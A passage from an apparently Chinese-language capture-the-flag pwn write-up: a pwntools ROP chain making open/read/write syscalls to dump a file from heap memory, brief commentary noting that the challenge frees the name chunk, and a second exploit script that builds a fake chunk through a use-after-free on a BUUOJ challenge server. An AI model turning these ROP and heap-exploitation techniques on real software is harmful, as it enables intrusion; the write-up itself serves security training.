p64(p_rsi)+p64(0 ) rops += p64(p_rdx)+p64(0 ) rops += p64(p_rax)+p64(2 ) rops += p64(syscall) rops += p64(p_rdi)+p64(3 ) rops += p64(p_rsi)+p64(heap_base+0x260 ) rops += p64(p_rdx)+p64(0x70 ) rops += p64(p_rax)+p64(0 ) rops += p64(syscall) rops += p64(p_rdi)+p64(1 ) rops += p64(p_rsi)+p64(heap_base+0x260 ) rops += p64(p_rdx)+p64(0x70 ) rops += p64(p_rax)+p64(1 ) rops += p64(syscall) sla(b'> ' ,b'1' ) sla(b'idx: ' ,b'0' ) sla(b'hero name: ' ,rops) sh.interactive() sh.interactive()
本题其实只是一个纸老虎
这便是题目的大意
但是他在free的时候free的其实是存储name的堆块,因此就很好构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *sh = remote('node5.buuoj.cn' , 29952 ) def cmd (s ): sh.recvuntil('> ' ) sh.sendline(s) def summon (name ): sh.sendlineafter('> ' , b'summon ' + name) sh.recvuntil('\n' ) def release (): sh.sendlineafter('> ' , b'release' ) sh.recvuntil('Released.\n' ) def strike (): sh.sendlineafter('> ' , b'strike' ) fake=b'a' *8 +p64(5 ) summon(fake) release() summon(b'aaaa' ) strike() sh.interactive()